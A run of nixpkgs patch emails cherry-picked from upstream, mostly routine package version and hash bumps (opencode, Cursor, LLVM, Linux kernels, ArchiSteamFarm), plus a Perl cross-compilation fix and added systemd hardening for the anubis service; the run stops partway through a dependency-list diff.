--- a/pkgs/by-name/op/opencode/package.nix
+++ b/pkgs/by-name/op/opencode/package.nix
@@ -144,7 +144,6 @@ stdenvNoCC.mkDerivation (finalAttrs: {
   installPhase = ''
     runHook preInstall
 
-    mkdir -p $out/bin
     install -Dm755 opencode $out/bin/opencode
 
     runHook postInstall

From 2d05a35a93cc69bcb901ecae3d8fb245e049f33d Mon Sep 17 00:00:00 2001
From: Thierry Delafontaine <delafthi@pm.me>
Date: Fri, 11 Jul 2025 17:29:10 +0200
Subject: [PATCH 2369/4511] opencode: add comment for the necessity of
 `fix-model-macro.patch`

(cherry picked from commit 6f4fff59128c41282513415e2513b269afbc9bc5)
---
 pkgs/by-name/op/opencode/package.nix | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/op/opencode/package.nix b/pkgs/by-name/op/opencode/package.nix
index 0268c74af6ca..031d53d38400 100644
--- a/pkgs/by-name/op/opencode/package.nix
+++ b/pkgs/by-name/op/opencode/package.nix
@@ -113,7 +113,11 @@ stdenvNoCC.mkDerivation (finalAttrs: {
 
   nativeBuildInputs = [ bun ];
 
-  patches = [ ./fix-models-macro.patch ];
+  patches = [
+    # Patch `packages/opencode/src/provider/models-macro.ts` to load the prefetched `models.dev/api.json`
+    # from the `MODELS_JSON` environment variable instead of fetching it at build time.
+    ./fix-models-macro.patch
+  ];
 
   configurePhase = ''
     runHook preConfigure

From 370b7c21e7e3460b034d3a219704e521ddfdf635 Mon Sep 17 00:00:00 2001
From: Thierry Delafontaine <delafthi@pm.me>
Date: Fri, 11 Jul 2025 17:33:32 +0200
Subject: [PATCH 2370/4511] opencode: 0.2.25 -> 0.2.27

(cherry picked from commit ae30ba98d574b6618aca66457ec121388d439a58)
---
 pkgs/by-name/op/opencode/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/op/opencode/package.nix b/pkgs/by-name/op/opencode/package.nix
index 031d53d38400..9e2e732681f4 100644
--- a/pkgs/by-name/op/opencode/package.nix
+++ b/pkgs/by-name/op/opencode/package.nix
@@ -26,12 +26,12 @@ let
 in
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "opencode";
-  version = "0.2.25";
+  version = "0.2.27";
   src = fetchFromGitHub {
     owner = "sst";
     repo = "opencode";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-eZCWBnFfC4WSprhr+MXnJLuOyY3bEEfWwc89kc9VBs4=";
+    hash = "sha256-nVjvcPL4s6xvlyR3NMXISl2Kaypwjk8QdvBnLc7c/E0=";
   };
 
   tui = buildGoModule {
@@ -39,7 +39,7 @@ stdenvNoCC.mkDerivation (finalAttrs: {
     inherit (finalAttrs) version;
     src = "${finalAttrs.src}/packages/tui";
 
-    vendorHash = "sha256-PRPJlLjzcxKpVSKKLc9fOEh41QZz2AH7vsLb1P5/tvg=";
+    vendorHash = "sha256-5PG81ca/MPLdYbiQu6tj7DL+4HSEgHpwi4zekOnbf/c=";
 
     subPackages = [ "cmd/opencode" ];
 

From 16307406f28edb9602e321037347d432a44655ec Mon Sep 17 00:00:00 2001
From: Thierry Delafontaine <delafthi@pm.me>
Date: Sat, 12 Jul 2025 06:33:41 +0200
Subject: [PATCH 2371/4511] opencode: 0.2.27 -> 0.2.33

Diff: https://github.com/sst/opencode/compare/refs/tags/v0.2.27...refs/tags/v0.2.33
(cherry picked from commit 1f0f25154225df0302adcd7b8110ad2c99e48adc)
---
 pkgs/by-name/op/opencode/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/op/opencode/package.nix b/pkgs/by-name/op/opencode/package.nix
index 9e2e732681f4..712e796f75f0 100644
--- a/pkgs/by-name/op/opencode/package.nix
+++ b/pkgs/by-name/op/opencode/package.nix
@@ -26,12 +26,12 @@ let
 in
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "opencode";
-  version = "0.2.27";
+  version = "0.2.33";
   src = fetchFromGitHub {
     owner = "sst";
     repo = "opencode";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-nVjvcPL4s6xvlyR3NMXISl2Kaypwjk8QdvBnLc7c/E0=";
+    hash = "sha256-l/V9YHwuIPN73ieMT++enL1O5vecA9L0qBDGr8eRVxY=";
   };
 
   tui = buildGoModule {
@@ -39,7 +39,7 @@ stdenvNoCC.mkDerivation (finalAttrs: {
     inherit (finalAttrs) version;
     src = "${finalAttrs.src}/packages/tui";
 
-    vendorHash = "sha256-5PG81ca/MPLdYbiQu6tj7DL+4HSEgHpwi4zekOnbf/c=";
+    vendorHash = "sha256-0vf4fOk32BLF9/904W8g+5m0vpe6i6tUFRXqDHVcMIQ=";
 
     subPackages = [ "cmd/opencode" ];
 

From c48991317357e337949e75b6e265c6b23c38b486 Mon Sep 17 00:00:00 2001
From: Yuriy Taraday <yuriy.taraday@tweag.io>
Date: Fri, 13 Jun 2025 17:00:46 +0200
Subject: [PATCH 2372/4511] comic-neue: fetch source from GitHub

The site comicneue.com is gone now, so fetch sources from GitHub instead.

(cherry picked from commit 52aa361b92eddf6d0cadce2a7151f39f09e68c38)
---
 pkgs/by-name/co/comic-neue/package.nix | 21 ++++++++++-----------
 1 file changed, 10 insertions(+), 11 deletions(-)

diff --git a/pkgs/by-name/co/comic-neue/package.nix b/pkgs/by-name/co/comic-neue/package.nix
index 0926f184ecef..32cfe6cb13a8 100644
--- a/pkgs/by-name/co/comic-neue/package.nix
+++ b/pkgs/by-name/co/comic-neue/package.nix
@@ -9,21 +9,20 @@ stdenv.mkDerivation rec {
   version = "2.51";
 
   src = fetchzip {
-    url = "http://comicneue.com/${pname}-${version}.zip";
-    sha256 = "sha256-DjRZtFnJOtZnxhfpgU5ihZFAonRK608/BQztCAExIU0=";
-    stripRoot = false; # because it comes with a __MACOSX directory
+    url = "https://github.com/crozynski/comicneue/releases/download/${version}/comicneue-master.zip";
+    hash = "sha256-Xkw+Yd36ffptKsS8RSEP9BPX6eQI7TZn2NgU49rdo80=";
   };
 
   installPhase = ''
     mkdir -pv $out/share/{doc/${pname}-${version},fonts/{opentype,truetype,WOFF,WOFF2}}
-    cp -v ${pname}-${version}/{FONTLOG,OFL-FAQ,OFL}.txt $out/share/doc/
-    cp -v ${pname}-${version}/Booklet-ComicNeue.pdf $out/share/doc/
-    cp -v ${pname}-${version}/OTF/ComicNeue-Angular/*.otf $out/share/fonts/opentype
-    cp -v ${pname}-${version}/OTF/ComicNeue/*.otf $out/share/fonts/opentype
-    cp -v ${pname}-${version}/TTF/ComicNeue-Angular/*.ttf $out/share/fonts/truetype
-    cp -v ${pname}-${version}/TTF/ComicNeue/*.ttf $out/share/fonts/truetype
-    cp -v ${pname}-${version}/WebFonts/*.woff $out/share/fonts/WOFF
-    cp -v ${pname}-${version}/WebFonts/*.woff2 $out/share/fonts/WOFF2
+    cp -v {FONTLOG,OFL-FAQ,OFL}.txt $out/share/doc/
+    cp -v Booklet-ComicNeue.pdf $out/share/doc/
+    cp -v Fonts/OTF/ComicNeue-Angular/*.otf $out/share/fonts/opentype
+    cp -v Fonts/OTF/ComicNeue/*.otf $out/share/fonts/opentype
+    cp -v Fonts/TTF/ComicNeue-Angular/*.ttf $out/share/fonts/truetype
+    cp -v Fonts/TTF/ComicNeue/*.ttf $out/share/fonts/truetype
+    cp -v Fonts/WebFonts/*.woff $out/share/fonts/WOFF
+    cp -v Fonts/WebFonts/*.woff2 $out/share/fonts/WOFF2
   '';
 
   meta = with lib; {

From 7486f98f3246b4b31ee38908680586d74207ddf4 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 13 Jul 2025 23:25:06 +0000
Subject: [PATCH 2373/4511] code-cursor: 1.2.1 -> 1.2.2

(cherry picked from commit 9f5916f02edb4f4a6dc029a0c59b342c74217d3b)
---
 pkgs/by-name/co/code-cursor/package.nix | 18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

diff --git a/pkgs/by-name/co/code-cursor/package.nix b/pkgs/by-name/co/code-cursor/package.nix
index 725e38a37160..8b884edea82f 100644
--- a/pkgs/by-name/co/code-cursor/package.nix
+++ b/pkgs/by-name/co/code-cursor/package.nix
@@ -16,20 +16,20 @@ let
 
   sources = {
     x86_64-linux = fetchurl {
-      url = "https://downloads.cursor.com/production/031e7e0ff1e2eda9c1a0f5df67d44053b059c5df/linux/x64/Cursor-1.2.1-x86_64.AppImage";
-      hash = "sha256-2rOs5+85crKO/N9dCQLFfUXTfP9JVVR1s/g0bK2E78s=";
+      url = "https://downloads.cursor.com/production/faa03b17cce93e8a80b7d62d57f5eda6bb6ab9fa/linux/x64/Cursor-1.2.2-x86_64.AppImage";
+      hash = "sha256-mQr1QMw4wP+kHvE9RWPkCKtHObbr0jpyOxNw3LfTPfc=";
     };
     aarch64-linux = fetchurl {
-      url = "https://downloads.cursor.com/production/031e7e0ff1e2eda9c1a0f5df67d44053b059c5df/linux/arm64/Cursor-1.2.1-aarch64.AppImage";
-      hash = "sha256-Otg+NyW1DmrqIb0xqZCfJ4ys61/DBOQNgaAR8PMOCfg=";
+      url = "https://downloads.cursor.com/production/faa03b17cce93e8a80b7d62d57f5eda6bb6ab9fa/linux/arm64/Cursor-1.2.2-aarch64.AppImage";
+      hash = "sha256-EGvm/VW+NDTmOB1o2j3dpq4ckWbroFWEbF9Pezr8SZQ=";
     };
     x86_64-darwin = fetchurl {
-      url = "https://downloads.cursor.com/production/031e7e0ff1e2eda9c1a0f5df67d44053b059c5df/darwin/x64/Cursor-darwin-x64.dmg";
-      hash = "sha256-Rh1erFG7UtGwO1NaM5+tq17mI5WdIX750pIzeO9AK+Q=";
+      url = "https://downloads.cursor.com/production/faa03b17cce93e8a80b7d62d57f5eda6bb6ab9fa/darwin/x64/Cursor-darwin-x64.dmg";
+      hash = "sha256-IDJklB8wMfrPpc2SO02iVBBE9d7fLN7JotVpPyCQkyE=";
     };
     aarch64-darwin = fetchurl {
-      url = "https://downloads.cursor.com/production/031e7e0ff1e2eda9c1a0f5df67d44053b059c5df/darwin/arm64/Cursor-darwin-arm64.dmg";
-      hash = "sha256-k/j3hJnHIdtfK9+T0aq2gFkRM+JulDt4FpU7n4HGEYM=";
+      url = "https://downloads.cursor.com/production/faa03b17cce93e8a80b7d62d57f5eda6bb6ab9fa/darwin/arm64/Cursor-darwin-arm64.dmg";
+      hash = "sha256-GxiNf58Kf5/l01eBhXRWMLMxAnj1txDQwSe5ei6nTgg=";
     };
   };
 
@@ -39,7 +39,7 @@ in
   inherit useVSCodeRipgrep;
   commandLineArgs = finalCommandLineArgs;
 
-  version = "1.2.1";
+  version = "1.2.2";
   pname = "cursor";
 
   # You can find the current VSCode version in the About dialog:

From 862006049aaad17783fd628d0944ec9f49f3ce6b Mon Sep 17 00:00:00 2001
From: Tristan Ross <tristan.ross@midstall.com>
Date: Sun, 13 Jul 2025 20:44:13 -0700
Subject: [PATCH 2374/4511] llvmPackages_git: 21.0.0-unstable-2025-07-06 ->
 21.0.0-unstable-2025-07-12

(cherry picked from commit 80efaa12b886558fd0a674f5e11b550311045f90)
---
 pkgs/development/compilers/llvm/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/development/compilers/llvm/default.nix b/pkgs/development/compilers/llvm/default.nix
index 850a58fa594b..64fd4ee4b139 100644
--- a/pkgs/development/compilers/llvm/default.nix
+++ b/pkgs/development/compilers/llvm/default.nix
@@ -33,9 +33,9 @@ let
     "19.1.7".officialRelease.sha256 = "sha256-cZAB5vZjeTsXt9QHbP5xluWNQnAHByHtHnAhVDV0E6I=";
     "20.1.6".officialRelease.sha256 = "sha256-PfCzECiCM+k0hHqEUSr1TSpnII5nqIxg+Z8ICjmMj0Y=";
     "21.0.0-git".gitRelease = {
-      rev = "be4cd9f4da981af3b93a180239cd631910b542d8";
-      rev-version = "21.0.0-unstable-2025-07-06";
-      sha256 = "sha256-cNJL0374m1LL5G7aS9CO/ufild5wfvhXcqwhqJXUZYA=";
+      rev = "e08833443256f8dde2f864853fa9491ffa7112d5";
+      rev-version = "21.0.0-unstable-2025-07-13";
+      sha256 = "sha256-O0mh9Kq6PHvGiCigjb5rDDqHNFBhy5Dv+IP67TstX8U=";
     };
   } // llvmVersions;
 

From 7df9c250f2c60cef3195899c125492de11e25b53 Mon Sep 17 00:00:00 2001
From: Jonas Heinrich <onny@project-insanity.org>
Date: Thu, 10 Jul 2025 18:31:13 +0200
Subject: [PATCH 2375/4511] perlPackages.FileShareDir: Fix cross-compilation

(cherry picked from commit 5fd0aef18303a36d5ba79819e0b56d99559e1e61)
---
 pkgs/top-level/perl-packages.nix | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/pkgs/top-level/perl-packages.nix b/pkgs/top-level/perl-packages.nix
index ead6636a0f00..e0c0a4177fb4 100644
--- a/pkgs/top-level/perl-packages.nix
+++ b/pkgs/top-level/perl-packages.nix
@@ -13830,6 +13830,11 @@ with self;
       url = "mirror://cpan/authors/id/R/RE/REHSACK/File-ShareDir-1.118.tar.gz";
       hash = "sha256-O7KiC6Nd+VjcCk8jBvwF2QPYuMTePIvu/OF3OdKByVg=";
     };
+    # Fix dynamic loading not available when cross compiling
+    postPatch = lib.optionalString (stdenv.hostPlatform != stdenv.buildPlatform) ''
+      sed -i '/install_share/d' Makefile.PL
+      sed -i '/File::ShareDir::Install/d' Makefile.PL
+    '';
     propagatedBuildInputs = [ ClassInspector ];
     buildInputs = [ FileShareDirInstall ];
     meta = {
@@ -13839,8 +13844,6 @@ with self;
         artistic1
         gpl1Plus
       ];
-      # Can't load module IO, dynamic loading not available in this perl.
-      broken = !stdenv.buildPlatform.canExecute stdenv.hostPlatform;
     };
   };
 

From 3b755542cccfd18bdeaa80796a31e65f943e45c0 Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Fri, 11 Jul 2025 21:14:02 +0000
Subject: [PATCH 2376/4511] envoy-bin: 1.34.1 -> 1.34.2

https://github.com/envoyproxy/envoy/releases/tag/v1.34.2
(cherry picked from commit a49209e52fde068d9d985f3c2077172b7a52c754)
---
 pkgs/by-name/en/envoy-bin/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/en/envoy-bin/package.nix b/pkgs/by-name/en/envoy-bin/package.nix
index d5d687e1fc73..f59a402b19ad 100644
--- a/pkgs/by-name/en/envoy-bin/package.nix
+++ b/pkgs/by-name/en/envoy-bin/package.nix
@@ -8,7 +8,7 @@
   versionCheckHook,
 }:
 let
-  version = "1.34.1";
+  version = "1.34.2";
   inherit (stdenv.hostPlatform) system;
   throwSystem = throw "envoy-bin is not available for ${system}.";
 
@@ -21,8 +21,8 @@ let
 
   hash =
     {
-      aarch64-linux = "sha256-7v9KwHdQIF4dElsvTPxsJNnpxfLJk3TQ4tCgzwqsebs=";
-      x86_64-linux = "sha256-iCZNZRh2qa0oqn4Jjj34Q1cEBM9gts6WjESWykorbp0=";
+      aarch64-linux = "sha256-82jzPZ08FCuM2eABcqU/QTdxEipnnvNjb350ZSiUS0o=";
+      x86_64-linux = "sha256-B1tnshv5fIjIKjeSADSjBotakhUak3rM0NWt4kWoWhk=";
     }
     .${system} or throwSystem;
 in

From 11ef8d9f2cd67cfee07d17a3ef4144621834a6f5 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 13 Jul 2025 10:08:41 +0000
Subject: [PATCH 2377/4511] sabnzbd: 4.5.1 -> 4.5.2

(cherry picked from commit 574c028de4a987d247223d54f3af7ca9bf28e2d6)
---
 pkgs/by-name/sa/sabnzbd/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/sa/sabnzbd/package.nix b/pkgs/by-name/sa/sabnzbd/package.nix
index 16705b2a20c4..b3d9fe15a05e 100644
--- a/pkgs/by-name/sa/sabnzbd/package.nix
+++ b/pkgs/by-name/sa/sabnzbd/package.nix
@@ -72,14 +72,14 @@ let
   ];
 in
 stdenv.mkDerivation rec {
-  version = "4.5.1";
+  version = "4.5.2";
   pname = "sabnzbd";
 
   src = fetchFromGitHub {
     owner = "sabnzbd";
     repo = "sabnzbd";
     rev = version;
-    hash = "sha256-vundARltVyTX0rEdwQJnY8p1n9zBhFskJkyttWgEaZI=";
+    hash = "sha256-8Q/6H9DfiVkonsIvlv7Y4yDHrvpE9dB/5KxUff14qkA=";
   };
 
   nativeBuildInputs = [ makeWrapper ];

From 38d8ae31019612b7df5897dbb5f73f3b5835ccbf Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 14 Jul 2025 03:34:53 +0000
Subject: [PATCH 2378/4511] tauno-monitor: 0.2.1 -> 0.2.9

(cherry picked from commit c1c53988b9cd091b7d70e93db339e370f3ccf168)
---
 pkgs/by-name/ta/tauno-monitor/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ta/tauno-monitor/package.nix b/pkgs/by-name/ta/tauno-monitor/package.nix
index 0c165057e334..d604098744cd 100644
--- a/pkgs/by-name/ta/tauno-monitor/package.nix
+++ b/pkgs/by-name/ta/tauno-monitor/package.nix
@@ -13,14 +13,14 @@
 }:
 python3Packages.buildPythonApplication rec {
   pname = "tauno-monitor";
-  version = "0.2.1";
+  version = "0.2.9";
   pyproject = false;
 
   src = fetchFromGitHub {
     owner = "taunoe";
     repo = "tauno-monitor";
     tag = "v${version}";
-    hash = "sha256-WsBov5ftt0lXw3fC04EGAFj1imDaPAmKvWDC5a1y9+k=";
+    hash = "sha256-tVl6JZbzAgOlXQzvN9Wq4TTRoGfIyWw243vZFbkcyRo=";
   };
 
   nativeBuildInputs = [

From 7305d3e84404dbbe13b36f01f9944d06b146f702 Mon Sep 17 00:00:00 2001
From: Ming-Chuan <ming@culpring.com>
Date: Thu, 10 Jul 2025 17:20:37 +0900
Subject: [PATCH 2379/4511] krita: 5.2.9 -> 5.2.10

(cherry picked from commit 8094ca3dde7e436094d06e6fd5f6775beb5b82ad)
---
 pkgs/applications/graphics/krita/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/graphics/krita/default.nix b/pkgs/applications/graphics/krita/default.nix
index beb7a046b7bd..acb72088f0da 100644
--- a/pkgs/applications/graphics/krita/default.nix
+++ b/pkgs/applications/graphics/krita/default.nix
@@ -1,7 +1,7 @@
 { callPackage, ... }:
 
 callPackage ./generic.nix {
-  version = "5.2.9";
+  version = "5.2.10";
   kde-channel = "stable";
-  hash = "sha256-CMmvVW3r8mkxvWUGeS45G0t6MzSlog9RazJJBDNKy6Y=";
+  hash = "sha256-pJrJcrO7lkU0h3XPFpOADL9zXINcqfn1Thep4fMHctU=";
 }

From 7c832ecc1cbd352747f90810e04a47cf6ad561e4 Mon Sep 17 00:00:00 2001
From: Felix Singer <felixsinger@posteo.net>
Date: Fri, 23 May 2025 07:10:15 +0200
Subject: [PATCH 2380/4511] nixos/anubis: Apply some more hardening settings

Signed-off-by: Felix Singer <felixsinger@posteo.net>
(cherry picked from commit 959c8e931134c3f986474045c24b05f09b1d770e)
---
 nixos/modules/services/networking/anubis.nix | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/nixos/modules/services/networking/anubis.nix b/nixos/modules/services/networking/anubis.nix
index 2d63fa4ecc59..d44619446b7c 100644
--- a/nixos/modules/services/networking/anubis.nix
+++ b/nixos/modules/services/networking/anubis.nix
@@ -299,7 +299,8 @@ in
           ];
           SystemCallArchitectures = "native";
           MemoryDenyWriteExecute = true;
-
+          AmbientCapabilities = "";
+          PrivateMounts = true;
           PrivateUsers = true;
           PrivateTmp = true;
           PrivateDevices = true;
@@ -313,6 +314,7 @@ in
           ProtectSystem = "strict";
           ProtectControlGroups = "strict";
           LockPersonality = true;
+          RemoveIPC = true;
           RestrictRealtime = true;
           RestrictSUIDSGID = true;
           RestrictNamespaces = true;

From 613e9bee9ff3123de16a15129b07f25c9717079e Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Mon, 14 Jul 2025 19:42:00 +0300
Subject: [PATCH 2381/4511] linux_testing: 6.16-rc5 -> 6.16-rc6

(cherry picked from commit 396e6a496bac077060cf4daf3a960b34244968d1)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 53e2216f3e32..75a25987d66d 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -1,7 +1,7 @@
 {
     "testing": {
-        "version": "6.16-rc5",
-        "hash": "sha256:0will8rmmdlcxyrflr778264h9pfv67cpqqnas112r248vicnkny"
+        "version": "6.16-rc6",
+        "hash": "sha256:03sz5gbnz1s763nlq2sbqk3bmjca24hq2n9wrpqhy6gyrd11s22f"
     },
     "6.1": {
         "version": "6.1.144",

From 9c709408b5ae6492637e307cfefa5a6340e412dd Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Mon, 14 Jul 2025 19:42:55 +0300
Subject: [PATCH 2382/4511] linux_6_12: 6.12.37 -> 6.12.38

(cherry picked from commit ec9a2a2d3dce7b587c8c4472562b525455efea52)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 75a25987d66d..94cc36f021b2 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -24,8 +24,8 @@
         "hash": "sha256:0fzfp46czdk3v8mnphiv9n68xf434igjkhx9nxbdlhl1cdqc2rrv"
     },
     "6.12": {
-        "version": "6.12.37",
-        "hash": "sha256:15gzcbkjkycvghjvpx3qshnc4416fw3ln2afip1hlpjv839dyvwk"
+        "version": "6.12.38",
+        "hash": "sha256:1k0gcwavn5iws3z1as39227i2hnc62qnfddjfqy7k7ymhf6zldgh"
     },
     "6.13": {
         "version": "6.13.12",

From 5802c4f4ef9b468ba4592141437f4aa766722029 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Mon, 14 Jul 2025 19:42:57 +0300
Subject: [PATCH 2383/4511] linux_6_6: 6.6.97 -> 6.6.98

(cherry picked from commit c66894a7928029e3e5d093bb3a2cd884eb7d741d)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 94cc36f021b2..93d807af9665 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -20,8 +20,8 @@
         "hash": "sha256:1adn0pbk8y1zp1yrz83ch6h4wypm2qvbnx4xig3sls2nfgvmi0f4"
     },
     "6.6": {
-        "version": "6.6.97",
-        "hash": "sha256:0fzfp46czdk3v8mnphiv9n68xf434igjkhx9nxbdlhl1cdqc2rrv"
+        "version": "6.6.98",
+        "hash": "sha256:1raxyhvv0yay3k1izwcqdbq9322nflflfzcn9d1jrhmb032k8si9"
     },
     "6.12": {
         "version": "6.12.38",

From 7c5dfbca1b203f36fb45c2cff13e26c8aac71762 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Mon, 14 Jul 2025 19:43:00 +0300
Subject: [PATCH 2384/4511] linux_6_1: 6.1.144 -> 6.1.145

(cherry picked from commit 594f0ba8d713e5ec902a8bc03d2c32fb1c45f95e)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 93d807af9665..357c35089c99 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -4,8 +4,8 @@
         "hash": "sha256:03sz5gbnz1s763nlq2sbqk3bmjca24hq2n9wrpqhy6gyrd11s22f"
     },
     "6.1": {
-        "version": "6.1.144",
-        "hash": "sha256:1kvskw600nm6ybd5yr940cx3fz0l9myyqzsk7l30cxdx5yjbsj8g"
+        "version": "6.1.145",
+        "hash": "sha256:0qrkcrqb0migsrq6xl1idyz8n6vjbdk74z4sc9na97b6n5vp0r9i"
     },
     "5.15": {
         "version": "5.15.187",

From a183c1b0003cad02281917d352caa86dbe61f708 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Mon, 14 Jul 2025 19:43:02 +0300
Subject: [PATCH 2385/4511] linux_5_15: 5.15.187 -> 5.15.188

(cherry picked from commit f62692f8723a4035cd3098a105ec05bb5a46217d)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 357c35089c99..2ad84ccbed28 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -8,8 +8,8 @@
         "hash": "sha256:0qrkcrqb0migsrq6xl1idyz8n6vjbdk74z4sc9na97b6n5vp0r9i"
     },
     "5.15": {
-        "version": "5.15.187",
-        "hash": "sha256:057zmzq364483gc5n9aab8mi0bxbk3nyc2nnziwq4hc197l6wy11"
+        "version": "5.15.188",
+        "hash": "sha256:1nfcrdwa2mgih57ch9kh8gc6jl950a7vpqgr56xk1b02303km5f4"
     },
     "5.10": {
         "version": "5.10.239",

From e01d9d485cf9141ce4ddb79e4fbd1a7882c1f30f Mon Sep 17 00:00:00 2001
From: Ludovico Piero <lewdovico@gnuweeb.org>
Date: Mon, 14 Jul 2025 15:59:06 +0000
Subject: [PATCH 2386/4511] ArchiSteamFarm: 6.1.6.7 -> 6.1.7.8

Changelog: https://github.com/JustArchiNET/ArchiSteamFarm/releases/tag/6.1.7.8

Signed-off-by: Ludovico Piero <lewdovico@gnuweeb.org>
(cherry picked from commit 86d71b3317bf7eb8cd4572e3a334d7cbea5159b1)
---
 .../misc/ArchiSteamFarm/default.nix           |   4 +-
 .../misc/ArchiSteamFarm/deps.json             | 113 +++++++++---------
 .../misc/ArchiSteamFarm/web-ui/default.nix    |   6 +-
 3 files changed, 59 insertions(+), 64 deletions(-)

diff --git a/pkgs/applications/misc/ArchiSteamFarm/default.nix b/pkgs/applications/misc/ArchiSteamFarm/default.nix
index 148b8dcb777e..362d23e8ed1f 100644
--- a/pkgs/applications/misc/ArchiSteamFarm/default.nix
+++ b/pkgs/applications/misc/ArchiSteamFarm/default.nix
@@ -12,13 +12,13 @@
 buildDotnetModule rec {
   pname = "ArchiSteamFarm";
   # nixpkgs-update: no auto update
-  version = "6.1.6.7";
+  version = "6.1.7.8";
 
   src = fetchFromGitHub {
     owner = "JustArchiNET";
     repo = "ArchiSteamFarm";
     rev = version;
-    hash = "sha256-XdnKcWzw/d7yLG2efgw/gQ8UkPjExigffbomTD3YUgE=";
+    hash = "sha256-bdjkYrfaC/5rKqRmKr+NVmCMU871WJFNRdh92i8GJF8=";
   };
 
   dotnet-runtime = dotnetCorePackages.aspnetcore_9_0;
diff --git a/pkgs/applications/misc/ArchiSteamFarm/deps.json b/pkgs/applications/misc/ArchiSteamFarm/deps.json
index e7af742d589f..e52b3cc22260 100644
--- a/pkgs/applications/misc/ArchiSteamFarm/deps.json
+++ b/pkgs/applications/misc/ArchiSteamFarm/deps.json
@@ -276,8 +276,8 @@
   },
   {
     "pname": "Markdig.Signed",
-    "version": "0.41.1",
-    "hash": "sha256-A8dOAwZ9hMVPk8xZBaJOo0gu5Z01JQZiz0uZbIZA2eU="
+    "version": "0.41.3",
+    "hash": "sha256-r4DrP47vgky0+AbNBFso7AwwzAHgrioK2B08UIxEaNI="
   },
   {
     "pname": "Microsoft.ApplicationInsights",
@@ -286,13 +286,8 @@
   },
   {
     "pname": "Microsoft.AspNetCore.OpenApi",
-    "version": "9.0.5",
-    "hash": "sha256-v2T37X1dm/NG0ZJWk6cXB9lf8tOc6JI4uxFPqmV7ne0="
-  },
-  {
-    "pname": "Microsoft.Bcl.AsyncInterfaces",
-    "version": "6.0.0",
-    "hash": "sha256-49+H/iFwp+AfCICvWcqo9us4CzxApPKC37Q5Eqrw+JU="
+    "version": "9.0.6",
+    "hash": "sha256-Kk1WNf1BS+9LjjXjBrYb1YCr+23W9PJ+B9Kv2OBv2Oc="
   },
   {
     "pname": "Microsoft.CodeAnalysis.ResxSourceGenerator",
@@ -431,23 +426,23 @@
   },
   {
     "pname": "Microsoft.IdentityModel.Abstractions",
-    "version": "8.11.0",
-    "hash": "sha256-qTBsPDE2FD/JA/n7P9g5FQPu7whUyX1X2HS62StxfLM="
+    "version": "8.12.1",
+    "hash": "sha256-gG2S/1+fPV74J9EE3oI3FKG/bRX/F7ujRvGTgxZ4r1A="
   },
   {
     "pname": "Microsoft.IdentityModel.JsonWebTokens",
-    "version": "8.11.0",
-    "hash": "sha256-JayQNiEiMsvpoAM993VNfJOyAYkatRoFBuLO+ZBzBGo="
+    "version": "8.12.1",
+    "hash": "sha256-NF1kPBAfiNEIsiyNSUSPwPJMEvdk6IMC+95PdqearuM="
   },
   {
